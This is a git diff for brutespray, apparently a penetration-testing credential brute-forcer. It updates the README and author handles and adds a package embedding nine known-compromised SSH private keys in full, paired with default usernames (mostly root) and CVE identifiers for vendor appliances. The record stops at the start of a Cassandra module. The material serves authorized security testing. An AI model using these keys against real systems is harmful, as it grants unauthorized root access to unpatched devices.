diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml
index 409d7d2..1f04d65 100644
--- a/.github/FUNDING.yml
+++ b/.github/FUNDING.yml
@@ -1,5 +1,5 @@
# These are supported funding model platforms
github: x90skysn3k
-patreon: t1d3nio
+patreon: x90sky
diff --git a/.gitignore b/.gitignore
index 095f96f..8d0f6a6 100644
--- a/.gitignore
+++ b/.gitignore
@@ -29,3 +29,6 @@ wordlist/winrm/
wordlist/asterisk/
wordlist/teamspeak/
wordlist/xmpp/
+go.work
+go.work.sum
+docs/superpowers/
diff --git a/README.md b/README.md
index 4aa781d..22fea64 100644
--- a/README.md
+++ b/README.md
@@ -2,13 +2,13 @@
[](https://github.com/x90skysn3k/brutespray/actions/workflows/release.yml)[](https://goreportcard.com/report/github.com/x90skysn3k/brutespray/v2)
-Created by: Shane Young/@t1d3nio && Jacob Robles/@shellfail
+Created by: Shane Young/@x90sky && Jacob Robles/@shellfail
Inspired by: Leon Johnson/@sho-luv
## Description
-Brutespray automatically attempts default credentials on discovered services. It takes scan output from Nmap (GNMAP/XML), Nessus, Nexpose, JSON, and lists, then brute-forces credentials across 30+ protocols in parallel. Built in Go with an interactive terminal UI, embedded wordlists, and resume capability.
+Brutespray automatically attempts default credentials on discovered services. It takes scan output from Nmap (GNMAP/XML), Nessus, Nexpose, JSON, and lists, then brute-forces credentials across 40+ protocols in parallel. Built in Go with an interactive terminal UI, embedded wordlists, and resume capability.
@@ -44,7 +44,7 @@ See [all examples](docs/examples.md) for more usage patterns.
## Features
-- **30+ protocols** — SSH, FTP, RDP, SMB, MySQL, PostgreSQL, Redis, LDAP, WinRM, and [more](docs/services.md)
+- **40+ protocols** — SSH, FTP, RDP, SMB, MySQL, PostgreSQL, Redis, LDAP, WinRM, and [more](docs/services.md)
- **Module parameters** — Per-module settings via `-m KEY:VALUE` (auth type, target path, NTLM domain, etc.)
- **Multi-auth support** — HTTP Digest/NTLM auto-detection, SMTP PLAIN/LOGIN, IMAP/POP3 SASL, SMB pass-the-hash
- **Interactive TUI** — Tabbed views, live settings, pause/resume hosts ([details](docs/tui.md))
@@ -57,6 +57,25 @@ See [all examples](docs/examples.md) for more usage patterns.
- **Performance tuning** — Dynamic threading, circuit breaker, rate limiting ([details](docs/advanced.md#performance-tuning))
- **YAML config files** — Per-engagement settings ([details](docs/usage.md#config-file))
+## How brutespray compares
+
+| Feature | brutespray | hydra | medusa | ncrack | brutus |
+|---|---|---|---|---|---|
+| Single static binary | ✅ | ❌ | ❌ | ❌ | ✅ |
+| Interactive TUI | ✅ | ❌ | ❌ | ❌ | ❌ |
+| Checkpoint / resume | ✅ | ❌ | ❌ | ✅ | ❌ |
+| Spray mode (lockout-aware) | ✅ | ❌ | ❌ | ❌ | ❌ |
+| Per-attempt JSONL output | ✅ | ⚠️ | ❌ | ❌ | ❌ (success-only) |
+| SOCKS5 + proxy rotation | ✅ | ⚠️ | ❌ | ❌ | ❌ |
+| Embedded SSH bad-keys (CVE-tagged) | ✅ | ❌ | ❌ | ❌ | ✅ |
+| Pipeline stdin (naabu / fingerprintx / masscan) | ✅ | ❌ | ❌ | ❌ | ✅ |
+| Pre-auth RDP recon (NLA / sticky-keys) | ✅ | ❌ | ❌ | ❌ | ✅ |
+| Nmap gnmap + XML / Nessus / Nexpose import | ✅ | ⚠️ | ❌ | ❌ | ⚠️ (nmap only) |
+| Per-module params (`-m KEY:VAL`) | ✅ | ❌ | ❌ | ❌ | partial |
+| Service count | 41 | 50+ | 34 | 14 | 23 |
+
+> Symbols reflect documented behavior at PR time. Competing tools change quickly.
+
## Supported Services
`ssh` `ftp` `ftps` `telnet` `smtp` `smtp-vrfy` `imap` `pop3` `mysql` `postgres` `mssql` `mongodb` `redis` `vnc` `snmp` `smbnt` `rdp` `http` `https` `vmauthd` `teamspeak` `asterisk` `nntp` `oracle` `xmpp` `ldap` `ldaps` `winrm` `rexec` `rlogin` `rsh` `wrapper`
@@ -73,7 +92,7 @@ Print discovered services from a scan file with `-P -q`:
|-------|-------------|
| [Installation](docs/installation.md) | Go install, release binaries, build from source, Docker |
| [Usage](docs/usage.md) | CLI flags, config files, input formats |
-| [Services](docs/services.md) | All 30+ protocols with ports, status, and notes |
+| [Services](docs/services.md) | All 40+ protocols with ports, status, and notes |
| [Examples](docs/examples.md) | Common usage patterns and recipes |
| [Interactive TUI](docs/tui.md) | Keybindings, tabs, live settings |
| [Advanced](docs/advanced.md) | Spray mode, proxy, resume, performance tuning |
diff --git a/banner/banner.go b/banner/banner.go
index 1dc1c1a..a12ce0c 100644
--- a/banner/banner.go
+++ b/banner/banner.go
@@ -68,7 +68,7 @@ func Banner(version string, banner_flag bool, noColor bool) {
╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ` + "\n"
quiet_banner :=
`Brutespray ` + version + `
-Created by: Shane Young/@t1d3nio && Jacob Robles/@shellfail
+Created by: Shane Young/@x90sky && Jacob Robles/@shellfail
Inspired by: Leon Johnson/@sho-luv`
//ascii art by: Cara Pearson
if !banner_flag {
diff --git a/brute/badkeys/SOURCES.md b/brute/badkeys/SOURCES.md
new file mode 100644
index 0000000..f81e6a3
--- /dev/null
+++ b/brute/badkeys/SOURCES.md
@@ -0,0 +1,13 @@
+# Bad-keys bundle sources
+
+This package vendors known-compromised SSH client private keys from:
+
+- [Rapid7/ssh-badkeys](https://github.com/rapid7/ssh-badkeys) (MIT) — vendor default keys for F5 BIG-IP, ExaGrid, Ceragon FibeAir, Monroe DASDEC, Barracuda, Array Networks, Loadbalancer.org, Quantum DXi
+- [HashiCorp Vagrant insecure key](https://github.com/hashicorp/vagrant/tree/main/keys) (MIT) — default Vagrant VM identity
+
+Only Rapid7's `authorized/` directory (client identities found in real-world
+`authorized_keys` files) is mirrored here. The `host/` directory (SSH server
+identity keys extracted from firmware) is intentionally excluded — host keys
+are not usable for client-side authentication.
+
+Refreshed via the same monthly cadence as `wordlist/` updates.
diff --git a/brute/badkeys/embed.go b/brute/badkeys/embed.go
new file mode 100644
index 0000000..edf95ef
--- /dev/null
+++ b/brute/badkeys/embed.go
@@ -0,0 +1,6 @@
+package badkeys
+
+import "embed"
+
+//go:embed keys/* metadata.yaml
+var assets embed.FS
diff --git a/brute/badkeys/keys/array-networks-vapv-vxag.key b/brute/badkeys/keys/array-networks-vapv-vxag.key
new file mode 100644
index 0000000..609a01e
--- /dev/null
+++ b/brute/badkeys/keys/array-networks-vapv-vxag.key
@@ -0,0 +1,12 @@
+-----BEGIN DSA PRIVATE KEY-----
+MIIBugIBAAKBgQCUw7F/vKJT2Xsq+fIPVxNC/Dyk+dN9DWQT5RO56eIQasd+h6Fm
+q1qtQrJ/DOe3VjfUrSm7NN5NoIGOrGCSuQFthFmq+9Lpt6WIykB4mau5iE5orbKM
+xTfyu8LtntoikYKrlMB+UrmKDidvZ+7oWiC14imT+Px/3Q7naj0UmOrSTwIVAO25
+Yf3SYNtTYv8yzaV+X9yNr/AfAoGADAcEh2bdsrDhwhXtVi1L3cFQx1KpN0B07JLr
+gJzJcDLUrwmlMUmrXR2obDGfVQh46EFMeo/k3IESw2zJUS58FJW+sKZ4noSwRZPq
+mpBnERKpLOTcWMxUyV8ETsz+9oz71YEMjmR1qvNYAopXf5Yy+4Zq3bgqmMMQyM+K
+O1PdlCkCgYBmhSl9CVPgVMv1xO8DAHVhM1huIIK8mNFrzMJz+JXzBx81ms1kWSeQ
+OC/nraaXFTBlqiQsvB8tzr4xZdbaI/QzVLKNAF5C8BJ4ScNlTIx1aZJwyMil8Nzb
++0YAsw5Ja+bEZZvEVlAYnd10qRWrPeEY1txLMmX3wDa+JvJL7fmuBgIUZoXsJnzs
++sqSEhA35Le2kC4Y1/A=
+-----END DSA PRIVATE KEY-----
diff --git a/brute/badkeys/keys/barracuda_load_balancer_vm.key b/brute/badkeys/keys/barracuda_load_balancer_vm.key
new file mode 100644
index 0000000..b8f94e3
--- /dev/null
+++ b/brute/badkeys/keys/barracuda_load_balancer_vm.key
@@ -0,0 +1,12 @@
+----BEGIN DSA PRIVATE KEY-----
+MIIBuwIBAAKBgQDKuRHCBXXwoyWpMkJz/wQafaHOpqWmVYLn9GZ6eQuNLcIhtZQE
+kCWZTNajgf4ZAVmHgQh1JHDixJ1V0mcweti/lvyxiqHap7IkD0a+ewAOoz3OpjQZ
+3ox2ovHEnQJfZ/9LNiEI3XK8TPAj6trhMn5tCdwFei6228a+TYBOccTPgwIVAKYW
+T8ztHHaN7Gwn0I6keQfBSNw1AoGAHYNfKAcqf7Y4wyoVoZpr/h21SETpEaksQb7h
+GRJnFpYN/JiyE9W8nX6UqLv1eKyOXLccAnyda0a+uqcOhsAq8+H15slZYa4+065L
+ckPfs0V4cpxeMHTT1hK4TR2/LRpUjhYjgXFE5aLl91f5Gug5HemUK2S0BWh/oI38
+k2WfNh0CgYEArsJgp7RLPOsCeLqoia/eljseBFVDazO5Q0ysUotTw9wgXGGVWREw
+m8wNggFNb9eCiBAAUfVZVfhVAtFT0pBf/eIVLPXyaMw3prBt7LqeBrbagODc3WAA
+dMTPIdYYcOKgv+YvTXa51zG64v6pQOfS8WXgKCzDl44puXfYeDk5lVQCFAPfgalL
++FT93tofXMuNVfeQMLJl
+-----END DSA PRIVATE KEY-----
diff --git a/brute/badkeys/keys/ceragon-fibeair-cve-2015-0936.key b/brute/badkeys/keys/ceragon-fibeair-cve-2015-0936.key
new file mode 100644
index 0000000..2f14cf0
--- /dev/null
+++ b/brute/badkeys/keys/ceragon-fibeair-cve-2015-0936.key
@@ -0,0 +1,15 @@
+-----BEGIN RSA PRIVATE KEY-----
+MIICWwIBAAKBgQDBEh0OUdoiplc0P+XW8VPu57etz8O9eHbLHkQW27EZBEdXEYxr
+MOFXi+PkA0ZcNDBRgjSJmHpo5WsPLwj/L3/L5gMYK+yeqsNu48ONbbqzZsFdaBQ+
+IL3dPdMDovYo7GFVyXuaWMQ4hgAJEc+kk1hUaGKcLENQf0vEyt01eA/k6QIBIwKB
+gQCwhZbohVm5R6AvxWRsv2KuiraQSO16B70ResHpA2AW31crCLrlqQiKjoc23mw3
+CyTcztDy1I0stH8j0zts+DpSbYZnWKSb5hxhl/w96yNYPUJaTatgcPB46xOBDsgv
+4Lf4GGt3gsQFvuTUArIf6MCJiUn4AQA9Q96QyCH/g4mdiwJBAPHdYgTDiQcpUAbY
+SanIpq7XFeKXBPgRbAN57fTwzWVDyFHwvVUrpqc+SSwfzhsaNpE3IpLD9RqOyEr6
+B8YrC2UCQQDMWrUeNQsf6xQer2AKw2Q06bTAicetJWz5O8CF2mcpVFYc1VJMkiuV
+93gCvQORq4dpApJYZxhigY4k/f46BlU1AkAbpEW3Zs3U7sdRPUo/SiGtlOyO7LAc
+WcMzmOf+vG8+xesCDOJwIj7uisaIsy1/cLXHdAPzhBwDCQDyoDtnGty7AkEAnaUP
+YHIP5Ww0F6vcYBMSybuaEN9Q5KfXuPOUhIPpLoLjWBJGzVrRKou0WeJElPIJX6Ll
+7GzJqxN8SGwqhIiK3wJAOQ2Hm068EicG5WQoS+8+KIE/SVHWmFDvet+f1vgDchvT
+uPa5zx2eZ2rxP1pXHAdBSgh799hCF60eZZtlWnNqLg==
+-----END RSA PRIVATE KEY-----
diff --git a/brute/badkeys/keys/exagrid-cve-2016-1561.key b/brute/badkeys/keys/exagrid-cve-2016-1561.key
new file mode 100644
index 0000000..867ea40
--- /dev/null
+++ b/brute/badkeys/keys/exagrid-cve-2016-1561.key
@@ -0,0 +1,15 @@
+-----BEGIN RSA PRIVATE KEY-----
+MIICWAIBAAKBgGdlD7qeGU9f8mdfmLmFemWMnz1tKeeuxKznWFI+6gkaagqjAF10
+hIruzXQAik7TEBYZyvw9SvYU6MQFsMeqVHGhcXQ5yaz3G/eqX0RhRDn5T4zoHKZa
+E1MU86zqAUdSXwHDe3pz5JEoGl9EUHTLMGP13T3eBJ19MAWjP7Iuji9HAgElAoGA
+GSZrnBieX2pdjsQ55/AJA/HF3oJWTRysYWi0nmJUmm41eDV8oRxXl2qFAIqCgeBQ
+BWA4SzGA77/ll3cBfKzkG1Q3OiVG/YJPOYLp7127zh337hhHZyzTiSjMPFVcanrg
+AciYw3X0z2GP9ymWGOnIbOsucdhnbHPuSORASPOUOn0CQQC07Acq53rf3iQIkJ9Y
+iYZd6xnZeZugaX51gQzKgN1QJ1y2sfTfLV6AwsPnieo7+vw2yk+Hl1i5uG9+XkTs
+Ry45AkEAkk0MPL5YxqLKwH6wh2FHytr1jmENOkQu97k2TsuX0CzzDQApIY/eFkCj
+QAgkI282MRsaTosxkYeG7ErsA5BJfwJAMOXYbHXp26PSYy4BjYzz4ggwf/dafmGz
+ebQs+HXa8xGOreroPFFzfL8Eg8Ro0fDOi1lF7Ut/w330nrGxw1GCHQJAYtodBnLG
+XLMvDHFG2AN1spPyBkGTUOH2OK2TZawoTmOPd3ymK28LriuskwxrceNb96qHZYCk
+86DC8q8p2OTzYwJANXzRM0SGTqSDMnnid7PGlivaQqfpPOx8MiFR/cGr2dT1HD7y
+x6f/85mMeTqamSxjTJqALHeKPYWyzeSnUrp+Eg==
+-----END RSA PRIVATE KEY-----
diff --git a/brute/badkeys/keys/f5-bigip-cve-2012-1493.key b/brute/badkeys/keys/f5-bigip-cve-2012-1493.key
new file mode 100644
index 0000000..1c41560
--- /dev/null
+++ b/brute/badkeys/keys/f5-bigip-cve-2012-1493.key
@@ -0,0 +1,15 @@
+-----BEGIN RSA PRIVATE KEY-----
+MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh
+UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk
+OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB
+gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF
+8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv
+7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM
+2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s
+37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL
+RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4
+rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/
+uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU
+Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G
+LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS
+-----END RSA PRIVATE KEY-----
diff --git a/brute/badkeys/keys/loadbalancer.org-enterprise-va.key b/brute/badkeys/keys/loadbalancer.org-enterprise-va.key
new file mode 100644
index 0000000..521e645
--- /dev/null
+++ b/brute/badkeys/keys/loadbalancer.org-enterprise-va.key
@@ -0,0 +1,12 @@
+-----BEGIN DSA PRIVATE KEY-----
+MIIBugIBAAKBgQCsCgcOw+DgNR/7g+IbXYdOEwSB3W0o3l1Ep1ibHHvAtLb6AdNW
+Gq47/UxY/rX3g2FVrVCtQwNSZMqkrqALQwDScxeCOiLMndCj61t3RxU3IOl5c/Hd
+yhGh6JGPdzTpgf8VhJIZnvG+0NFNomYntqYFm0y11dBQPpYbJE7Tx1t/lQIVANHJ
+rJSVVkpcTB4XdtR7TfO317xVAoGABDytZN2OhKwGyJfenZ1Ap2Y7lkO8V8tOtqX+
+t0LkViOi2ErHJt39aRJJ1lDRa/3q0NNqZH4tnj/bh5dUyNapflJiV94N3637LCzW
+cFlwFtJvD22Nx2UrPn+YXrzN7mt9qZyg5m0NlqbyjcsnCh4vNYUiNeMTHHW5SaJY
+TeYmPP8CgYAjEe5+0m/TlBtVkqQbUit+s/g+eB+PFQ+raaQdL1uztW3etntXAPH1
+MjxsAC/vthWYSTYXORkDFMhrO5ssE2rfg9io0NDyTIZt+VRQMGdi++dH8ptU+ldl
+2ZejLFdTJFwFgcfXz+iQ1mx6h9TPX1crE1KoMAVOj3yKVfKpLB1EkAIUCsG3dIJH
+SzmJVCWFyVuuANR2Bnc=
+-----END DSA PRIVATE KEY-----
diff --git a/brute/badkeys/keys/monroe-dasdec-cve-2013-0137.key b/brute/badkeys/keys/monroe-dasdec-cve-2013-0137.key
new file mode 100644
index 0000000..16bb3a3
--- /dev/null
+++ b/brute/badkeys/keys/monroe-dasdec-cve-2013-0137.key
@@ -0,0 +1,12 @@
+-----BEGIN DSA PRIVATE KEY-----
+MIIBuwIBAAKBgQDdwCE68iTEMjimYwJMvpkP/KThyJbuKvKc5kdKqLSmi5tssnuW
+tD2NqzmkEQM4uxD4XgV26k2/GvE6x4RlyOT+xlB2iYaOR4RJ8PuU8ALz+9i+y3D8
+MTMY/6y3Ef41frizLFXiVVo8CXFL/N8sz16FYytIayJvkSy3rkzPoE8pRwIVAPmA
+F1excCJPPVq3MyDfEMUXXOWjAoGAJS8ukwjJTgTNCHD7Lz//WxIw49DPGGWs3are
+GpjtiGjVD2Lff7CLCzkH8SI/JsgytUzqfDckSXqe1eWiAhuH90Pl5LZZi83Vp97I
+721riAF3taKYxtk+vWIcXx2a/Fp+z+LaQoMqjOLh5lCq35wc0EPb5FFFrGaFFzNm
+e71F1X0CgYAU6eNlphQWDwx0KOBiiYhF9BM6kDbQlyw8333rAG3G4CcjI2G8eYGt
+pBNliaD185UjCEsjPiudhGil/j4Zt/+VY3aGOLoi8kqXBBc8ZAML9bbkXpyhQhMg
+wiywx3ciFmvSn2UAin8yurStYPQxtXauZN5PYbdwCHPS7ApIStdpMAIVAJ+eePIA
+Azb0ux287wRfcfdbjlDM
+-----END DSA PRIVATE KEY-----
diff --git a/brute/badkeys/keys/quantum-dxi-v1000.key b/brute/badkeys/keys/quantum-dxi-v1000.key
new file mode 100644
index 0000000..788af40
--- /dev/null
+++ b/brute/badkeys/keys/quantum-dxi-v1000.key
@@ -0,0 +1,12 @@
+-----BEGIN DSA PRIVATE KEY-----
+MIIBugIBAAKBgQCEgBNwgF+IbMU8NHUXNIMfJ0ONa91ZI/TphuixnilkZqcuwur2
+hMbrqY8Yne+n3eGkuepQlBBKEZSd8xPd6qCvWnCOhBqhkBS7g2dH6jMkUl/opX/t
+Rw6P00crq2oIMafR4/SzKWVW6RQEzJtPnfV7O3i5miY7jLKMDZTn/DRXRwIVALB2
++o4CRHpCG6IBqlD/2JW5HRQBAoGAaSzKOHYUnlpAoX7+ufViz37cUa1/x0fGDA/4
+6mt0eD7FTNoOnUNdfdZx7oLXVe7mjHjqjif0EVnmDPlGME9GYMdi6r4FUozQ33Y5
+PmUWPMd0phMRYutpihaExkjgl33AH7mp42qBfrHqZ2oi1HfkqCUoRmB6KkdkFosr
+E0apJ5cCgYBLEgYmr9XCSqjENFDVQPFELYKT7Zs9J87PjPS1AP0qF1OoRGZ5mefK
+6X/6VivPAUWmmmev/BuAs8M1HtfGeGGzMzDIiU/WZQ3bScLB1Ykrcjk7TOFD6xrn
+k/inYAp5l29hjidoAONcXoHmUAMYOKqn63Q2AsDpExVcmfj99/BlpQIUYS6Hs70u
+B3Upsx556K/iZPPnJZE=
+-----END DSA PRIVATE KEY-----
diff --git a/brute/badkeys/keys/vagrant-default.key b/brute/badkeys/keys/vagrant-default.key
new file mode 100644
index 0000000..7d6a083
--- /dev/null
+++ b/brute/badkeys/keys/vagrant-default.key
@@ -0,0 +1,27 @@
+-----BEGIN RSA PRIVATE KEY-----
+MIIEogIBAAKCAQEA6NF8iallvQVp22WDkTkyrtvp9eWW6A8YVr+kz4TjGYe7gHzI
+w+niNltGEFHzD8+v1I2YJ6oXevct1YeS0o9HZyN1Q9qgCgzUFtdOKLv6IedplqoP
+kcmF0aYet2PkEDo3MlTBckFXPITAMzF8dJSIFo9D8HfdOV0IAdx4O7PtixWKn5y2
+hMNG0zQPyUecp4pzC6kivAIhyfHilFR61RGL+GPXQ2MWZWFYbAGjyiYJnAmCP3NO
+Td0jMZEnDkbUvxhMmBYSdETk1rRgm+R4LOzFUGaHqHDLKLX+FIPKcF96hrucXzcW
+yLbIbEgE98OHlnVYCzRdK8jlqm8tehUc9c9WhQIBIwKCAQEA4iqWPJXtzZA68mKd
+ELs4jJsdyky+ewdZeNds5tjcnHU5zUYE25K+ffJED9qUWICcLZDc81TGWjHyAqD1
+Bw7XpgUwFgeUJwUlzQurAv+/ySnxiwuaGJfhFM1CaQHzfXphgVml+fZUvnJUTvzf
+TK2Lg6EdbUE9TarUlBf/xPfuEhMSlIE5keb/Zz3/LUlRg8yDqz5w+QWVJ4utnKnK
+iqwZN0mwpwU7YSyJhlT4YV1F3n4YjLswM5wJs2oqm0jssQu/BT0tyEXNDYBLEF4A
+sClaWuSJ2kjq7KhrrYXzagqhnSei9ODYFShJu8UWVec3Ihb5ZXlzO6vdNQ1J9Xsf
+4m+2ywKBgQD6qFxx/Rv9CNN96l/4rb14HKirC2o/orApiHmHDsURs5rUKDx0f9iP
+cXN7S1uePXuJRK/5hsubaOCx3Owd2u9gD6Oq0CsMkE4CUSiJcYrMANtx54cGH7Rk
+EjFZxK8xAv1ldELEyxrFqkbE4BKd8QOt414qjvTGyAK+OLD3M2QdCQKBgQDtx8pN
+CAxR7yhHbIWT1AH66+XWN8bXq7l3RO/ukeaci98JfkbkxURZhtxV/HHuvUhnPLdX
+3TwygPBYZFNo4pzVEhzWoTtnEtrFueKxyc3+LjZpuo+mBlQ6ORtfgkr9gBVphXZG
+YEzkCD3lVdl8L4cw9BVpKrJCs1c5taGjDgdInQKBgHm/fVvv96bJxc9x1tffXAcj
+3OVdUN0UgXNCSaf/3A/phbeBQe9xS+3mpc4r6qvx+iy69mNBeNZ0xOitIjpjBo2+
+dBEjSBwLk5q5tJqHmy/jKMJL4n9ROlx93XS+njxgibTvU6Fp9w+NOFD/HvxB3Tcz
+6+jJF85D5BNAG3DBMKBjAoGBAOAxZvgsKN+JuENXsST7F89Tck2iTcQIT8g5rwWC
+P9Vt74yboe2kDT531w8+egz7nAmRBKNM751U/95P9t88EDacDI/Z2OwnuFQHCPDF
+llYOUI+SpLJ6/vURRbHSnnn8a/XG+nzedGH5JGqEJNQsz+xT2axM0/W/CRknmGaJ
+kda/AoGANWrLCz708y7VYgAtW2Uf1DPOIYMdvo6fxIB5i9ZfISgcJ/bbCUkFrhoH
++vq/5CIWxCPp0f85R4qxxQ5ihxJ0YDQT9Jpx4TMss4PSavPaBH3RXow5Ohe+bYoQ
+NE5OgEXk2wVfZczCZpigBKbKZHNYcelXtTt/nP3rsCuGcM4h53s=
+-----END RSA PRIVATE KEY-----
diff --git a/brute/badkeys/metadata.yaml b/brute/badkeys/metadata.yaml
new file mode 100644
index 0000000..1669d24
--- /dev/null
+++ b/brute/badkeys/metadata.yaml
@@ -0,0 +1,59 @@
+# Rapid7 ssh-badkeys snapshot + Vagrant insecure key
+# Only the authorized/ directory (client private keys found in real-world
+# authorized_keys files) is mirrored here. The host/ directory (SSH server
+# identity keys extracted from firmware) is intentionally excluded — host keys
+# are not usable for client-side authentication.
+
+- file: vagrant-default.key
+ username: vagrant
+ vendor: HashiCorp Vagrant
+ cve: ""
+ description: Vagrant insecure default SSH key (any Vagrant VM using the default insecure keypair)
+
+- file: f5-bigip-cve-2012-1493.key
+ username: root
+ vendor: F5 BIG-IP
+ cve: CVE-2012-1493
+ description: F5 BIG-IP 9.x-11.x hardcoded root SSH key used for device communication
+
+- file: exagrid-cve-2016-1561.key
+ username: root
+ vendor: ExaGrid
+ cve: CVE-2016-1561
+ description: ExaGrid EX-series backup appliance hardcoded backdoor SSH key
+
+- file: ceragon-fibeair-cve-2015-0936.key
+ username: mateidu
+ vendor: Ceragon FibeAir
+ cve: CVE-2015-0936
+ description: Ceragon FibeAir IP-10 microwave radio hardcoded support/admin SSH key
+
+- file: monroe-dasdec-cve-2013-0137.key
+ username: root
+ vendor: Monroe Electronics DASDEC
+ cve: CVE-2013-0137
+ description: Monroe Electronics / Digital Alert Systems DASDEC EAS device hardcoded key
+
+- file: barracuda_load_balancer_vm.key
+ username: cluster
+ vendor: Barracuda Networks
+ cve: CVE-2014-8428
+ description: Barracuda Load Balancer VM hardcoded cluster SSH key
+
+- file: array-networks-vapv-vxag.key
+ username: sync
+ vendor: Array Networks
+ cve: ""
+ description: Array Networks vAPV / vxAG SSL VPN hardcoded sync user SSH key
+
+- file: loadbalancer.org-enterprise-va.key
+ username: root
+ vendor: Loadbalancer.org
+ cve: ""
+ description: Loadbalancer.org Enterprise VA 7.5.2 static root SSH key
+
+- file: quantum-dxi-v1000.key
+ username: root
+ vendor: Quantum
+ cve: ""
+ description: Quantum DXi V1000 deduplication appliance hardcoded root SSH key
diff --git a/brute/badkeys/registry.go b/brute/badkeys/registry.go
new file mode 100644
index 0000000..63e93be
--- /dev/null
+++ b/brute/badkeys/registry.go
@@ -0,0 +1,63 @@
+// Package badkeys provides a curated, embedded bundle of known-compromised
+// SSH private keys (Rapid7 ssh-badkeys + Vagrant + vendor defaults). Each
+// entry pairs a key with its default username and CVE metadata so brute
+// modules can surface CVE-tagged findings without external files.
+package badkeys
+
+import (
+ "crypto/sha256"
+ "encoding/hex"
+ "fmt"
+
+ "gopkg.in/yaml.v3"
+)
+
+type Entry struct {
+ File string
+ Username string
+ Vendor string
+ CVE string
+ Description string
+ PEM []byte
+ PEMHash string // SHA-256 of the raw PEM file bytes (NOT an OpenSSH-format fingerprint); used for change-detection across vendor updates
+}
+
+type metaEntry struct {
+ File string `yaml:"file"`
+ Username string `yaml:"username"`
+ Vendor string `yaml:"vendor"`
+ CVE string `yaml:"cve"`
+ Description string `yaml:"description"`
+}
+
+func Load() ([]Entry, error) {
+ raw, err := assets.ReadFile("metadata.yaml")
+ if err != nil {
+ return nil, fmt.Errorf("read metadata.yaml: %w", err)
+ }
+ var metas []metaEntry
+ if err := yaml.Unmarshal(raw, &metas); err != nil {
+ return nil, fmt.Errorf("parse metadata.yaml: %w", err)
+ }
+ out := make([]Entry, 0, len(metas))
+ for _, m := range metas {
+ pem, err := assets.ReadFile("keys/" + m.File)
+ if err != nil {
+ return nil, fmt.Errorf("read keys/%s: %w", m.File, err)
+ }
+ if len(pem) == 0 {
+ return nil, fmt.Errorf("keys/%s: file is empty", m.File)
+ }
+ sum := sha256.Sum256(pem)
+ out = append(out, Entry{
+ File: m.File,
+ Username: m.Username,
+ Vendor: m.Vendor,
+ CVE: m.CVE,
+ Description: m.Description,
+ PEM: pem,
+ PEMHash: hex.EncodeToString(sum[:]),
+ })
+ }
+ return out, nil
+}
diff --git a/brute/badkeys/registry_test.go b/brute/badkeys/registry_test.go
new file mode 100644
index 0000000..99930c2
--- /dev/null
+++ b/brute/badkeys/registry_test.go
@@ -0,0 +1,79 @@
+package badkeys
+
+import (
+ "encoding/hex"
+ "testing"
+)
+
+func TestLoadReturnsNonEmptyBundle(t *testing.T) {
+ bundle, err := Load()
+ if err != nil {
+ t.Fatalf("Load: %v", err)
+ }
+ if len(bundle) != 9 {
+ t.Fatalf("expected 9 keys, got %d", len(bundle))
+ }
+}
+
+func TestLoadParsesVagrantEntry(t *testing.T) {
+ bundle, err := Load()
+ if err != nil {
+ t.Fatalf("Load: %v", err)
+ }
+ for _, e := range bundle {
+ if e.Vendor == "HashiCorp Vagrant" {
+ if e.Username != "vagrant" {
+ t.Fatalf("vagrant entry username = %q, want vagrant", e.Username)
+ }
+ if len(e.PEM) < 100 {
+ t.Fatalf("vagrant PEM too short: %d bytes", len(e.PEM))
+ }
+ return
+ }
+ }
+ t.Fatal("no Vagrant entry found in bundle")
+}
+
+func TestPEMHashIsHexSHA256(t *testing.T) {
+ bundle, err := Load()
+ if err != nil {
+ t.Fatalf("Load: %v", err)
+ }
+ for _, e := range bundle {
+ if e.PEMHash == "" {
+ t.Errorf("entry %q has empty PEMHash", e.File)
+ continue
+ }
+ if len(e.PEMHash) != 64 {
+ t.Errorf("entry %q PEMHash length = %d, want 64", e.File, len(e.PEMHash))
+ continue
+ }
+ b, err := hex.DecodeString(e.PEMHash)
+ if err != nil || len(b) != 32 {
+ t.Errorf("entry %q PEMHash %q is not valid lowercase hex SHA-256", e.File, e.PEMHash)
+ }
+ }
+}
+
+func TestLoadIsDeterministic(t *testing.T) {
+ first, err := Load()
+ if err != nil {
+ t.Fatalf("Load (first): %v", err)
+ }
+ second, err := Load()
+ if err != nil {
+ t.Fatalf("Load (second): %v", err)
+ }
+ if len(first) != len(second) {
+ t.Fatalf("non-deterministic length: first=%d second=%d", len(first), len(second))
+ }
+ for i := range first {
+ if first[i].PEMHash != second[i].PEMHash {
+ t.Errorf("entry %d (%s): PEMHash differs between calls: %q vs %q",
+ i, first[i].File, first[i].PEMHash, second[i].PEMHash)
+ }
+ if first[i].File != second[i].File {
+ t.Errorf("entry %d: File differs: %q vs %q", i, first[i].File, second[i].File)
+ }
+ }
+}
diff --git a/brute/cassandra.go b/brute/cassandra.go
new file mode 100644
index 0000000..9429f2e
--- /dev/null
+++ b/brute/cassandra.go
@@ -0,0 +1,39 @@
+package brute
+
+import (
+ "context"
+ "fmt"
+ "strings"
+ "time"
+
